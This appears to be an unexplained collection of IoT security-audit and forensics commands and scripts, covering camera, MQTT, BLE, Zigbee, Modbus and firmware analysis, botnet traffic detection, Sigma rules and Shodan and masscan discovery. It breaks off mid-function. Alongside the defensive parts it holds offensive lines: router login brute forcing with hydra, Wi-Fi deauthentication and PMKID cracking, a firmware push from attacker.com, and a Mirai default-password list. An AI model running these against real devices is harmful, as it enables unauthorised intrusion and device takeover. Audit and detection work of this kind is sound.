sudo apt install binwalk firmware-mod-kit john hashcat
pip install fact-firmware-analysis-toolkit

onvif-probe-d -h
onvif-probe-d --addr 192.168.1.0/24 --timeout 5s

import zeep

wsdl = "http://192.168.1.100/onvif/device_service?wsdl"
client = zeep.Client(wsdl=wsdl)

device_info = client.service.GetDeviceInformation()
print(f"Manufacturer: {device_info.Manufacturer}")
print(f"Model: {device_info.Model}")
print(f"FirmwareVersion: {device_info.FirmwareVersion}")
print(f"SerialNumber: {device_info.SerialNumber}")

media_client = zeep.Client(wsdl="http://192.168.1.100/onvif/media_service?wsdl")
profiles = client.service.GetProfiles()
for p in profiles:
    print(f"Profile: {p.Name}, Token: {p.token}")

streams = client.service.GetStreamUri({
    'Stream': 'RTP-Unicast',
    'Protocol': 'RTSP'
})
print(f"RTSP URI: {streams.Uri}")

tcpdump -i eth0 -w camera_rtsp.pcap port 554 &
ffmpeg -rtsp_transport tcp -i "rtsp://admin:admin@192.168.1.100:554/stream1" -t 300 -c copy capture.mp4

dd if=/dev/sdb of=camera_sd.img bs=4M
photorec camera_sd.img
testdisk camera_sd.img

curl -H "Authorization: Bearer $TOKEN" \
     "https://api.amazonalexa.com/v1/devices/$DEVICE_ID/conversations" \
     -o alexa_history.json

python3 -c "
import json
data = json.load(open('alexa_history.json'))
for conv in data['conversations']:
    for utterance in conv['utterances']:
        print(f'[{utterance[\"creationTimestamp\"]}] {utterance[\"text\"]}')
"

strings /dev/sda1 | grep -E "(SSID|WPA|PSK|EAP)" | sort -u
cat /var/lib/dhcp/dhclient.leases 2>/dev/null

bluetoothctl paired-devices
cat /var/lib/bluetooth/*/*/info

sqlite3 doorlock.db "SELECT * FROM unlock_log ORDER BY timestamp DESC LIMIT 50;"
cat /var/log/doorlock.log | grep -E "(unlock|lock|failed|tamper)"

strings /dev/mtdblock3 | grep -E "(backdoor|master|override|admin)"
strings /dev/mtdblock3 | grep -E "(telnetd|dropbear|sshd)"

from rtl_sdr import RtlSdr
import numpy as np

sdr = RtlSdr()
sdr.sample_rate = 2.4e6
sdr.center_freq = 433.92e6
sdr.gain = 40

samples = sdr.read_samples(2.4e6 * 10)
signal = np.abs(samples)
threshold = np.mean(signal) * 2.5
pulses = signal > threshold

edges = np.diff(pulses.astype(int))
starts = np.where(edges == 1)[0]
ends = np.where(edges == -1)[0]

for i in range(min(len(starts), len(ends))):
    duration = ends[i] - starts[i]
    gap = starts[i] - ends[i-1] if i > 0 else 0
    print(f"Pulse: {duration:.0f} samples, Gap: {gap:.0f} samples")

nmap -sU -p 1900 --script=upnp-info 192.168.1.1
echo -e 'M-SEARCH * HTTP/1.1\r\nHOST:239.255.255.250:1900\r\nST:upnp:rootdevice\r\nMX:3\r\n\r\n' | socat - UDP4-DATAGRAM:239.255.255.250:1900

dig @192.168.1.1 google.com +short
dig @8.8.8.8 google.com +short
nslookup -type=TXT default.example.com 192.168.1.1

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 http-form-post "/login:username=^USER^&password=^PASS^:Login Failed"
medusa -h 192.168.1.1 -u admin -P passwords.txt -M http

tcpdump -i eth0 -w mqtt_traffic.pcap port 1883

mosquitto_sub -h 192.168.1.100 -t '#' -v -C 1000 > mqtt_dump.log

grep -E "(CONNECT|PUBLISH|SUBSCRIBE|DISCONNECT)" mqtt_dump.log

import paho.mqtt.client as mqtt
import json
from datetime import datetime

suspicious_topics = []
device_registry = {}

def on_connect(client, userdata, flags, rc):
    client.subscribe("#")

def on_message(client, userdata, msg):
    timestamp = datetime.now().isoformat()
    topic = msg.topic
    payload = msg.payload.decode('utf-8', errors='ignore')
    
    parts = topic.split('/')
    if len(parts) >= 2:
        device_id = parts[1]
        if device_id not in device_registry:
            device_registry[device_id] = set()
        device_registry[device_id].add(topic)
    
    if any(kw in topic.lower() for kw in ['admin', 'root', 'system', 'debug', 'shell']):
        suspicious_topics.append({
            'timestamp': timestamp,
            'topic': topic,
            'payload': payload[:200],
            'reason': '敏感关键词匹配'
        })
    
    if len(payload) > 10000:
        suspicious_topics.append({
            'timestamp': timestamp,
            'topic': topic,
            'payload_size': len(payload),
            'reason': '异常大消息体'
        })
    
    try:
        data = json.loads(payload)
        if 'password' in data or 'token' in data or 'key' in data:
            suspicious_topics.append({
                'timestamp': timestamp,
                'topic': topic,
                'reason': '明文凭据传输'
            })
    except json.JSONDecodeError:
        pass

client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect("192.168.1.100", 1883, 60)
client.loop_forever()

import ssl
import socket

def check_mqtt_anonymous(host, port):
    sock = socket.create_connection((host, port), timeout=10)
    connect_packet = bytes([
        0x10,
        0x0D,
        0x00, 0x04, 0x4D, 0x51, 0x54, 0x54,
        0x04,
        0x02,
        0x00, 0x3C,
        0x00, 0x01, 0x41
    ])
    sock.send(connect_packet)
    response = sock.recv(2)
    sock.close()
    if response[0] == 0x20 and response[1] == 0x02:
        return_code = int.from_bytes(response, 'big') & 0xFF
        return return_code == 0x00
    return False

coap-client -m get "coap://192.168.1.200/.well-known/core"

coap-client -m get -o coap_response.bin "coap://192.168.1.200/firmware"

tcpdump -i eth0 -w coap_traffic.pcap udp port 5683

from scapy.all import *

def analyze_coap_dtls(pcap_file):
    packets = rdpcap(pcap_file)
    for pkt in packets:
        if pkt.haslayer(UDP) and pkt[UDP].dport == 5683:
            payload = bytes(pkt[UDP].payload)
            if len(payload) > 0:
                ver_type = payload[0] >> 6
                msg_type = (payload[0] >> 4) & 0x03
                code = payload[1]
                if msg_type == 3:
                    print(f"RST message from {pkt[IP].src}, code={code}")
                if code == 0x83:
                    print(f"DTLS handshake alert from {pkt[IP].src}")

tcpdump -i eth0 -w amqp_traffic.pcap port 5672
tshark -r amqp_traffic.pcap -Y "amqp" -T fields -e amqp.method -e amqp.queue -e amqp.exchange

stompclap 192.168.1.100 61613 admin admin -S

echo -e "CONNECT\naccept-version:1.2\n\n\x00" | nc 192.168.1.100 61613

gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x bin,fw,update,upgrade
ffuf -u http://192.168.1.100/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .bin,.tar.gz,.zip

curl -v http://192.168.1.100/api/v1/device/info
curl -v -X POST http://192.168.1.100/api/v1/firmware/update -d '{"url":"http://attacker.com/firmware.bin"}'
curl -v http://192.168.1.100/api/v1/config/export

sudo hciconfig hci0 up
sudo hcitool lescan --duplicate
sudo btlejack -f 37 -c

ubertooth-btle -f
ubertooth-rx

from bluepy.btle import Scanner, DefaultDelegate

class ScanDelegate(DefaultDelegate):
    def handleDiscovery(self, dev, isNewDev, isNewData):
        if isNewDev:
            print(f"Device: {dev.addr}, RSSI: {dev.rssi}, Name: {dev.scanData.get(9, 'Unknown')}")
            for (adtype, desc, value) in dev.getScanData():
                print(f"  {desc} = {value}")

scanner = Scanner().withDelegate(ScanDelegate())
devices = scanner.scan(10.0, passive=True)

for dev in devices:
    print(f"\nDevice: {dev.addr} ({dev.addrType}), RSSI: {dev.rssi} dB")
    for (adtype, desc, value) in dev.getScanData():
        print(f"  [{adtype}] {desc}: {value}")

btmon -w ble_pairing.pcap
hcidump -w ble_pairing.pcap

zbwireshark
zbdump -f 15 -c 100 -w zigbee_capture.pcap

killerbee-zbdump -f 11 -c 500 -w zigbee_dump.pcap
killerbee-zbextract zigbee_dump.pcap > zigbee_frames.txt

import struct

def parse_zigbee_transport_key(payload):
    key_type = payload[0]
    key = payload[1:17]
    source_address = struct.unpack('<Q', payload[17:25])[0]
    
    key_types = {
        0x00: "Standard Network Key",
        0x01: "Standard Pre-configured Link Key",
        0x02: "App Master Key",
        0x03: "App Link Key",
        0x04: "TC Master Key"
    }
    
    return {
        'type': key_types.get(key_type, f"Unknown ({key_type})"),
        'key': key.hex(),
        'source': hex(source_address)
    }

rtl_433 -R 0 -X 'n=Z-Wave,s=450,l=450,g=400,r=1200' -F csv:zwave_capture.csv

airodump-ng wlan0mon --wps
aireplay-ng --deauth 10 -a [AP_BSSID] wlan0mon

hcxdumptool -i wlan0mon --filterlist_ap=targets.csv --filtermode=2 -o pmkid_capture.pcapng
hcxpcapngtool -o hashcat_pmkid.txt pmkid_capture.pcapng
hashcat -m 22000 hashcat_pmkid.txt /path/to/wordlist.txt

import scapy.all as scapy

def detect_evil_twin(interface, target_ssid, duration=60):
    packets = scapy.sniff(iface=interface, timeout=duration,
                          filter="type mgt subtype beacon")
    
    ssids = {}
    for pkt in packets:
        if pkt.haslayer(scapy.Dot11Beacon):
            ssid = pkt[scapy.Dot11Elt].info.decode('utf-8', errors='ignore')
            bssid = pkt[scapy.Dot11].addr2
            rssi = pkt.dBm_AntSignal if hasattr(pkt, 'dBm_AntSignal') else 'N/A'
            channel = int(ord(pkt[scapy.Dot11Elt:3].info))
            
            if ssid == target_ssid:
                if ssid not in ssids:
                    ssids[ssid] = []
                ssids[ssid].append({'bssid': bssid, 'rssi': rssi, 'channel': channel})
    
    for ssid, aps in ssids.items():
        if len(aps) > 1:
            print(f"[WARNING] SSID '{ssid}' has {len(aps)} APs - possible Evil Twin:")
            for ap in aps:
                print(f"  BSSID: {ap['bssid']}, RSSI: {ap['rssi']}, Channel: {ap['channel']}")

rtl_sdr -f 868100000 -s 1000000 -g 40 lora_capture.raw
python3 lora_decode.py lora_capture.raw --freq 868.1

openocd -f interface/jlink.cfg -f target/stm32f1x.cfg
telnet localhost 4444

> flash read_bank 0 firmware_dump.bin
> dump_image firmware_full.bin 0x08000000 0x100000
> mdw 0x08000000 16

screen /dev/ttyUSB0 115200

minicom -D /dev/ttyUSB0 -b 115200

picocom -b 115200 /dev/ttyUSB0

mitmproxy -p 8080
tcpdump -i eth0 -w firmware_update.pcap 'host firmware.example.com'

from mitmproxy import http
import hashlib

def response(flow: http.HTTPFlow):
    content_type = flow.response.headers.get("content-type", "")
    if "binary" in content_type or "octet-stream" in content_type:
        firmware_data = flow.response.content
        md5 = hashlib.md5(firmware_data).hexdigest()
        sha256 = hashlib.sha256(firmware_data).hexdigest()
        
        filename = f"firmware_{md5[:8]}.bin"
        with open(filename, 'wb') as f:
            f.write(firmware_data)
        
        print(f"Firmware captured: {filename}")
        print(f"MD5: {md5}")
        print(f"SHA256: {sha256}")
        print(f"Size: {len(firmware_data)} bytes")

binwalk firmware.bin
binwalk -A firmware.bin
binwalk -R '\x89PNG' firmware.bin
binwalk -t firmware.bin

binwalk -E firmware.bin

binwalk -eM firmware.bin

cd _firmware.bin.extracted
ls -la squashfs-root/

cat squashfs-root/etc/version
strings squashfs-root/usr/bin/app | head -20
find squashfs-root -name "*.conf" -exec grep -l "password" {} \;
find squashfs-root -name "shadow" -o -name "passwd"

import subprocess
import re
import os

def extract_firmware_credentials(extracted_dir):
    credentials = []
    
    shadow_files = subprocess.run(
        ['find', extracted_dir, '-name', 'shadow', '-o', '-name', 'passwd'],
        capture_output=True, text=True
    ).stdout.strip().split('\n')
    
    for f in shadow_files:
        if os.path.isfile(f):
            with open(f) as fh:
                for line in fh:
                    parts = line.strip().split(':')
                    if len(parts) >= 2 and parts[1] not in ('x', '*', '!', '!!', '!!:'):
                        credentials.append({
                            'source': f,
                            'username': parts[0],
                            'hash': parts[1],
                            'type': 'hardcoded_credential'
                        })
    
    config_patterns = [
        r'(?i)password\s*[=:]\s*["\']?(\S+)',
        r'(?i)api_key\s*[=:]\s*["\']?(\S+)',
        r'(?i)secret\s*[=:]\s*["\']?(\S+)',
        r'(?i)token\s*[=:]\s*["\']?(\S+)',
    ]
    
    result = subprocess.run(
        ['find', extracted_dir, '-type', 'f'],
        capture_output=True, text=True
    ).stdout.strip().split('\n')
    
    for filepath in result:
        if os.path.isfile(filepath):
            try:
                with open(filepath, 'rb') as fh:
                    content = fh.read(1024 * 1024)
                    text = content.decode('utf-8', errors='ignore')
                    for pattern in config_patterns:
                        matches = re.findall(pattern, text)
                        for match in matches:
                            credentials.append({
                                'source': filepath,
                                'pattern': pattern,
                                'value': match,
                                'type': 'config_credential'
                            })
            except Exception:
                pass
    
    return credentials

git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
sudo ./fat.py firmware.bin

git clone https://github.com/fkie-cad/FACT_core
cd FACT_core
sudo ./start_allotted.sh

git clone https://github.com/craigz28/firmwalker
cd firmwalker
./firmwalker.sh _firmware.bin.extracted/squashfs-root

tcpdump -i eth0 -w modbus_traffic.pcap 'tcp port 502'
tshark -r modbus_traffic.pcap -Y "modbus" -T fields -e modbus.func_code -e modbus.reg -e modbus.data

from pymodbus.client import ModbusTcpClient
from pymodbus.exceptions import ModbusIOException

def audit_modbus_device(host, port=502):
    client = ModbusTcpClient(host, port=port)
    client.connect()
    
    results = {
        'host': host,
        'port': port,
        'write_coils_allowed': False,
        'write_registers_allowed': False,
        'read_all_coils': False,
        'read_all_holding': False,
        'diagnostics_accessible': False
    }
    
    try:
        response = client.read_coils(0, 100)
        if not response.isError():
            results['read_all_coils'] = True
    except Exception as e:
        pass
    
    try:
        response = client.read_holding_registers(0, 100)
        if not response.isError():
            results['read_all_holding'] = True
    except Exception as e:
        pass
    
    try:
        response = client.write_coil(0, True)
        results['write_coils_allowed'] = not response.isError()
    except Exception as e:
        pass
    
    try:
        response = client.write_register(0, 0)
        results['write_registers_allowed'] = not response.isError()
    except Exception as e:
        pass
    
    try:
        response = client.diag_get_comm_event_counter()
        results['diagnostics_accessible'] = not response.isError()
    except Exception as e:
        pass
    
    try:
        response = client.discover()
        results['broadcast_discovery'] = True
    except Exception as e:
        results['broadcast_discovery'] = False
    
    client.close()
    return results

from opcua import Client

def audit_opc_ua_server(url):
    client = Client(url)
    client.set_security_string(
        "Basic256Sha256,SignAndEncrypt,"
        "cert.pem,key.pem,server_cert.pem"
    )
    
    try:
        client.connect()
        
        root = client.get_root_node()
        objects = client.get_objects_node()
        
        print("Server Nodes:")
        children = objects.get_children()
        for child in children:
            print(f"  {child.get_browse_name().Name}")
        
        policies = client.get_policy_id()
        print(f"\nSecurity Policies: {policies}")
        
        server_time = client.get_server_timestamp()
        print(f"Server Time: {server_time}")
        
        client.disconnect()
        return True
    except Exception as e:
        print(f"Connection failed: {e}")
        return False

docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}"
docker inspect $CONTAINER_ID | jq '.[0].Config.Env'
docker logs $CONTAINER_ID --since 24h > container_logs.txt

journalctl -u iotedge --since "2 hours ago" > iotedge_logs.txt
iotedge list
iotedge check

aws iot describe-thing --thing-name "target_device"
aws iot get-logging-options
aws logs filter-log-events --log-group-name /aws/iot/events --filter-pattern "ERROR"

aws iot list-topic-rules
aws iot get-topic-rule --rule-name "IoT_Rule"

az iot hub monitor-events --hub-name hub_name --device-id device_id --timeout 300
az monitor logs query --workspace workspace_id --analytics-query "DeviceConnectionEventLogs | take 100"

grep -r "POST /cdn-cgi/" /var/log/ | head -20
grep -E "(acker|mirai|botnet)" /tmp/*
ps aux | grep -E "(busybox|curl|wget|tftp)" 
netstat -an | grep -E ":(23|2323)" | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn

import re
from collections import Counter

MIRAI_CREDENTIALS = {
    "root": ["root", "root123", "admin", "password", "default", "123456", "toor", "admin123"],
    "admin": ["admin", "password", "1234", "admin1234", "root", "pass", "test"],
    "support": ["support", "support123", "password"],
    "user": ["user", "user123", "password", "admin"],
    "guest": ["guest", "guest123", "password"],
    "default": ["default", "password", "admin"],
    "test": ["test", "test123", "password"],
    "ubnt": ["ubnt", "ubnt", "admin"],
}

def analyze_telnet_traffic(pcap_file):
    from scapy.all import rdpcap, TCP, Raw
    
    packets = rdpcap(pcap_file)
    login_attempts = []
    
    for pkt in packets:
        if pkt.haslayer(Raw) and pkt.haslayer(TCP):
            payload = bytes(pkt[Raw].load)
            try:
                text = payload.decode('utf-8', errors='ignore')
                if 'login' in text.lower() or 'password' in text.lower():
                    login_attempts.append({
                        'src': pkt[TCP].sport,
                        'dst': pkt[TCP].dport,
                        'text': text.strip(),
                        'time': float(pkt.time)
                    })
            except Exception:
                pass
    
    return login_attempts

from scapy.all import rdpcap, UDP, TCP, Raw
import struct

def analyze_mozi_p2p(pcap_file):
    packets = rdpcap(pcap_file)
    p2p_nodes = set()
    c2_commands = []
    
    for pkt in packets:
        if pkt.haslayer(UDP) and pkt[UDP].dport == 16823:
            payload = bytes(pkt[UDP].load)
            if len(payload) > 10:
                if payload[:4] == b'\x00\x00\x00\x00':
                    c2_commands.append({
                        'src': pkt[IP].src,
                        'command': payload.hex(),
                        'time': float(pkt.time)
                    })
        
        if pkt.haslayer(TCP) and pkt[TCP].dport in (23, 37215, 52869):
            p2p_nodes.add(pkt[IP].src)
    
    print(f"Unique P2P nodes: {len(p2p_nodes)}")
    print(f"C2 commands observed: {len(c2_commands)}")
    return p2p_nodes, c2_commands

crontab -l
ls -la /etc/init.d/
cat /etc/rc.local
cat /etc/ld.so.preload
find /etc/udev/rules.d/ -type f -exec cat {} \;
md5sum /bin/busybox /bin/sh /bin/bash

import dns.resolver
import requests
import socket

def detect_dns_tunneling(domain, threshold=50):
    queries = []
    try:
        for record_type in ['TXT', 'CNAME', 'MX', 'A']:
            answers = dns.resolver.resolve(domain, record_type)
            for rdata in answers:
                queries.append(str(rdata))
    except Exception:
        pass
    
    suspicious = [q for q in queries if len(q) > threshold]
    return {
        'domain': domain,
        'total_queries': len(queries),
        'suspicious_long': len(suspicious),
        'samples': suspicious[:5]
    }

def detect_http_c2(host, path="/bot/config"):
    indicators = {
        'default_uri': False,
        'user_agent_match': False,
        'response_pattern': False
    }
    
    try:
        resp = requests.get(f"http://{host}{path}", timeout=10)
        indicators['status_code'] = resp.status_code
        
        c2_uas = ['Mirai', 'bot', 'Go-http', 'libcurl', 'Wget']
        ua = resp.headers.get('User-Agent', '')
        if any(c2 in ua for c2 in c2_uas):
            indicators['user_agent_match'] = True
        
        if resp.status_code == 200 and len(resp.content) > 0:
            if b'\x00' in resp.content[:100]:
                indicators['response_pattern'] = True
    except Exception:
        pass
    
    return indicators

import socket
import struct

def scan_telnet_candidates(target_range, port=23, timeout=2):
    candidates = []
    for ip in target_range:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            result = sock.connect_ex((ip, port))
            if result == 0:
                banner = sock.recv(1024)
                candidates.append({
                    'ip': ip,
                    'port': port,
                    'banner': banner.decode('utf-8', errors='ignore'),
                    'likely_infected': any(kw in banner.decode('utf-8', errors='ignore').lower()
                                          for kw in ['login:', ' BusyBox', 'DD-WRT'])
                })
            sock.close()
        except Exception:
            pass
    return candidates

FALLBACK_IOC = {
    "c2_domains": ["malware-c2.example.com", "botnet-hub.example.net"],
    "c2_ips": ["203.0.113.50", "198.51.100.23"],
    "malware_hashes": ["a1b2c3d4e5f6...", "deadbeef1234..."],
    "suspicious_ports": [2323, 16823, 5555, 37215],
    "exploit_signatures": ["HP:APM|APM|APM|", "cmd+enable+shell"]
}

EVIDENCE_CONFIDENCE = {
    "firmware_backdoor": 0.95,
    "botnet_payload": 0.98,
    "c2_communication": 0.90,
    "hardcoded_credential": 0.85,
    "anomalous_mqtt": 0.60,
    "unauthorized_ble": 0.55,
    "default_password": 0.40,
    "outdated_firmware": 0.30,
    "upnp_exposed": 0.25,
    "open_telnet": 0.35
}

def assess_evidence(evidence_type, additional_context=None):
    base_confidence = EVIDENCE_CONFIDENCE.get(evidence_type, 0.5)
    
    if additional_context:
        if additional_context.get("confirmed_c2"):
            base_confidence = min(base_confidence + 0.2, 0.99)
        if additional_context.get("multiple_indicators"):
            base_confidence = min(base_confidence + 0.15, 0.99)
        if additional_context.get("false_positive_possible"):
            base_confidence = max(base_confidence - 0.2, 0.1)
    
    if base_confidence >= 0.85:
        level = "确认恶意"
    elif base_confidence >= 0.50:
        level = "高度可疑"
    else:
        level = "需要关注"
    
    return {
        'evidence_type': evidence_type,
        'confidence': base_confidence,
        'level': level,
        'action': '立即处置' if level == '确认恶意' else '进一步调查' if level == '高度可疑' else '安全加固'
    }

title: IoT Device Telnet Scanning Activity
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects IoT devices performing Telnet scanning which may indicate Mirai-like infection
references:
    - https://attack.mitre.org/techniques/T1046/
author: Security Analyst
date: 2026/07/05
logsource:
    category: firewall
    product: generic
detection:
    sel:
        dst_port:
            - 23
            - 2323
        direction: outgoing
        bytes_out:
            - '> 1024'
    filter:
        src_ip:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
    condition: sel and not filter
falsepositives:
    - Legitimate Telnet administration
level: high
tags:
    - attack.lateral_movement
    - attack.t1021
---
title: IoT Device Anomalous DNS Queries
id: b1a2c3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects IoT devices performing suspicious DNS queries indicative of C2 communication
author: Security Analyst
date: 2026/07/05
logsource:
    category: dns
    product: generic
detection:
    sel:
        query_type:
            - TXT
            - CNAME
        query_length:
            - '> 50'
    timeframe: 5m
    condition: sel | count() by src_ip > 100
falsepositives:
    - Legitimate DNS-based services
level: medium
tags:
    - attack.command_and_control
    - attack.t1071.004
---
title: IoT Firmware Modification Detection
id: c2d3e4f5-a6b7-8c9d-0e1f-2a3b4c5d6e7f
status: stable
description: Detects firmware modification or update on IoT devices
author: Security Analyst
date: 2026/07/05
logsource:
    category: process_creation
    product: linux
detection:
    sel:
        Image|endswith:
            - '/sysupgrade'
            - '/fw_update'
            - '/fwupgrade'
        CommandLine|contains:
            - 'write'
            - 'mtd'
    condition: sel
falsepositives:
    - Authorized firmware updates
level: high
tags:
    - attack.persistence
    - attack.t1542

shodan search "port:1883 mqtt" --fields ip_str,port,org,product --limit 100
shodan search "has_screenshot:true product:Mosquitto" --fields ip_str,port,org
shodan search "port:502 modbus" --fields ip_str,port,org,product --limit 50
shodan search "port:5683 coap" --fields ip_str,port,org --limit 50

import shodan
import json
import time

SHODAN_API_KEY = "YOUR_SHODAN_API_KEY"
api = shodan.Shodan(SHODAN_API_KEY)

QUERIES = [
    'port:1883 mqtt',
    'port:502 modbus',
    'port:5683 coap',
    'port:23 "login:"',
    'port:2323 "BusyBox"',
    'product:"GoAhead-Webs"',
    'http.title:"THINKING"',
    'port:37215 "Huawei"',
    'port:52869 "Realtek"',
    'has_screenshot:true product:"DVR"',
]

def batch_scan():
    all_results = []
    for query in QUERIES:
        try:
            results = api.search(query, limit=50)
            for match in results['matches']:
                all_results.append({
                    'ip': match['ip_str'],
                    'port': match['port'],
                    'org': match.get('org', 'Unknown'),
                    'product': match.get('product', 'Unknown'),
                    'query': query,
                    'timestamp': match.get('timestamp', ''),
                    'vulns': match.get('vulns', [])
                })
            time.sleep(1)
        except shodan.APIError as e:
            print(f"Error: {e}")
    
    with open('iot_assets.json', 'w') as f:
        json.dump(all_results, f, indent=2)
    
    print(f"Total assets found: {len(all_results)}")
    vuln_count = sum(1 for r in all_results if r.get('vulns'))
    print(f"Assets with known CVEs: {vuln_count}")
    
    return all_results

batch_scan()

import subprocess
import os
import hashlib
import json

def analyze_firmware(firmware_path):
    results = {
        'file': firmware_path,
        'hash': {},
        'binwalk': {},
        'credentials': [],
        'network': {},
        'suspicious': []
    }
    
    with open(firmware_path, 'rb') as f:
        data = f.read()
        results['hash']['md5'] = hashlib.md5(data).hexdigest()
        results['hash']['sha256'] = hashlib.sha256(data).hexdigest()
        results['size'] = len(data)
    
    binwalk_result = subprocess.run(
        ['binwalk', firmware_path],
        capture_output=True, text=True
    )
    results['binwalk']['raw'] = binwalk_result.stdout
    
    extract_result = subprocess.run(
        ['binwalk', '-eM', firmware_path],
        capture_output=True, text=True
    )
    
    extracted_dir = firmware_path + ".extracted"
    if os.path.exists(extracted_dir):
        find_result = subprocess.run(
            ['find', extracted_dir, '-name', 'shadow'],
            capture_output=True, text=True
        )
        for shadow_file in find_result.stdout.strip().split('\n'):
            if os.path.isfile(shadow_file):
                with open(shadow_file) as f:
                    for line in f:
                        parts = line.strip().split(':')
                        if len(parts) >= 2 and parts[1] not in ('x', '*', '!', '!!'):
                            results['credentials'].append({
                                'file': shadow_file,
                                'username': parts[0],
                                'hash_type': 'hardcoded'
                            })
        
        strings_result = subprocess.run(
            ['strings', extracted_dir + '/squashfs-root/usr/bin/app'],
            capture_output=True, text=True
        )
        for line in strings_result.stdout.split('\n'):
            if any(kw in line.lower() for kw in ['password', 'secret', 'api_key', 'token']):
                results['suspicious'].append(line[:100])
    
    return results

from scapy.all import rdpcap, TCP, Raw
import json
from collections import Counter, defaultdict

def analyze_mqtt_traffic(pcap_file):
    packets = rdpcap(pcap_file)
    mqtt_messages = defaultdict(list)
    topic_stats = Counter()
    suspicious_patterns = []
    
    for pkt in packets:
        if pkt.haslayer(Raw) and pkt.haslayer(TCP):
            payload = bytes(pkt[Raw].load)
            if len(payload) < 2:
                continue
            
            msg_type = (payload[0] >> 4) & 0x0F
            
            if msg_type == 3 and len(payload) > 4:
                topic_len = (payload[1] << 8) | payload[2]
                if topic_len < len(payload):
                    topic = payload[3:3+topic_len].decode('utf-8', errors='ignore')
                    message_payload = payload[3+topic_len:].decode('utf-8', errors='ignore')
                    topic_stats[topic] += 1
                    mqtt_messages[topic].append({
                        'time': float(pkt.time),
                        'src': pkt[IP].src if pkt.haslayer(IP) else 'unknown',
                        'payload_len': len(message_payload),
                        'payload_preview': message_payload[:100]
                    })
                    
                    if any(kw in topic.lower() for kw in ['admin', 'debug', 'shell', 'exec']):
                        suspicious_patterns.append(f"Sensitive topic: {topic}")
                    
                    if 'password' in message_payload.lower() or 'token' in message_payload.lower():
                        suspicious_patterns.append(f"Credential in topic {topic}: {message_payload[:50]}")
    
    return {
        'total_topics': len(topic_stats),
        'topic_distribution': dict(topic_stats.most_common(20)),
        'suspicious': suspicious_patterns,
        'device_count': len(set(msg['src'] for msgs in mqtt_messages.values() for msg in msgs))
    }

masscan 10.0.0.0/8 -p23,80,443,502,1883,37215,52869,5683 --rate=10000 -oJ masscan_iot.json
masscan 192.168.0.0/16 -p23,2323,8080,8443 --rate=5000 -oL masscan_lan.txt

nmap -sV -p 23,80,443,502,1883,37215,52869,5683 --script=default,iot 10.0.0.0/24

nmap --script=mqtt-connect -p 1883 192.168.1.0/24

nmap -sU -p 161,1900,5683 --script=snmp-info,upnp-info,coap-discover 192.168.1.0/24

import subprocess
import json
import re

def discover_iot_assets(target_range):
    assets = []
    
    masscan_cmd = f"masscan {target_range} -p23,80,443,502,1883,37215,52869 --rate=5000 -oJ -"
    result = subprocess.run(masscan_cmd, shell=True, capture_output=True, text=True)
    
    try:
        open_ports = json.loads(result.stdout)
    except json.JSONDecodeError:
        open_ports = []
    
    for entry in open_ports:
        ip = entry.get('ip', '')
        ports = entry.get('ports', [])
        
        for port_info in ports:
            port = port_info.get('port', 0)
            
            nmap_result = subprocess.run(
                f"nmap -sV -p {port} --version-intensity 0 {ip}",
                shell=True, capture_output=True, text=True
            )
            
            service = re.search(r'(\d+)/tcp\s+\w+\s+(.*)', nmap_result.stdout)
            service_info = service.group(2).strip() if service else 'unknown'
            
            asset_type = classify_iot_device(port, service_info)
            
            assets.append({
                'ip': ip,
                'port': port,
                'service': service_info,
                'type': asset_type,
                'risk': assess_iot_risk(port, service_info)
            })
    
    return assets

def classify_iot_device(port, service):
    port_map = {
        23: 'Telnet Device',
        80: 'HTTP Device',
        443: 'HTTPS Device',
        502: 'Modbus/SCADA',
        1883: 'MQTT Broker',
        37215: 'Huawei Device',
        52869: 'UPnP Device'
    }
    return port_map.get(port, 'Unknown IoT')

def assess_iot_risk(port, service):
    high_risk_ports = [23, 502, 37215, 52869]
    if port in high_risk_ports:
        return 'HIGH'
    if 'default' in service.lower() or 'admin' in service.lower():
        return 'HIGH'
    return 'MEDIUM'

import struct
from datetime import datetime

def parse_ble_advertisement(data):
    result = {
        'timestamp': datetime.now().isoformat(),
        'address_type': data[0] & 0x01,
        'length': len(data),
        'ad_structures': []
    }
    
    offset = 1
    while offset < len(data) - 1:
        length = data[offset]
        if length == 0:
            break
        
        ad_type = data[offset + 1] if offset + 1 < len(data) else 0
        ad_data = data[offset + 2:offset + 1 + length] if offset + 1 < len(data) else b''
        
        type_names = {
            0x01: 'Flags',
            0x02: 'Incomplete List of 16-bit UUIDs',
            0x03: 'Complete List of 16-bit UUIDs',
            0x08: 'Shortened Local Name',
            0x09: 'Complete Local Name',
            0x0A: 'TX Power Level',
            0xFF: 'Manufacturer Specific Data',
            0x16: 'Service Data - 16-bit UUID'
        }
        
        parsed = {
            'type': type_names.get(ad_type, f'Unknown (0x{ad_type:02X})'),
            'type_id': ad_type,
            'data_hex': ad_data.hex()
        }
        
        if ad_type in (0x08, 0x09):
            parsed['name'] = ad_data.decode('utf-8', errors='ignore')
        elif ad_type == 0xFF and len(ad_data) >= 2:
            parsed['company_id'] = struct.unpack('<H', ad_data[:2])[0]
            parsed['manufacturer_data'] = ad_data[2:].hex()
        elif ad_type == 0x16 and len(ad_data) >= 2:
            parsed['service_uuid'] = hex(struct.unpack('<H', ad_data[:2])[0])
            parsed['service_data'] = ad_data[2:].hex()
        
        result['ad_structures'].append(parsed)
        offset += length + 1
    
    return result

def scan_and_analyze_ble(interface, duration=30):
    import subprocess
    
    cmd = f"sudo btlejack -f 37 -c -t {duration}"
    proc = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    
    parsed_devices = []
    for line in proc.stdout.split('\n'):
        if 'BLE packet' in line:
            try:
                hex_data = line.split(':')[-1].strip().replace(' ', '')
                raw = bytes.fromhex(hex_data)
                parsed = parse_ble_advertisement(raw)
                if parsed['ad_structures']:
                    parsed_devices.append(parsed)
            except Exception:
                pass
    
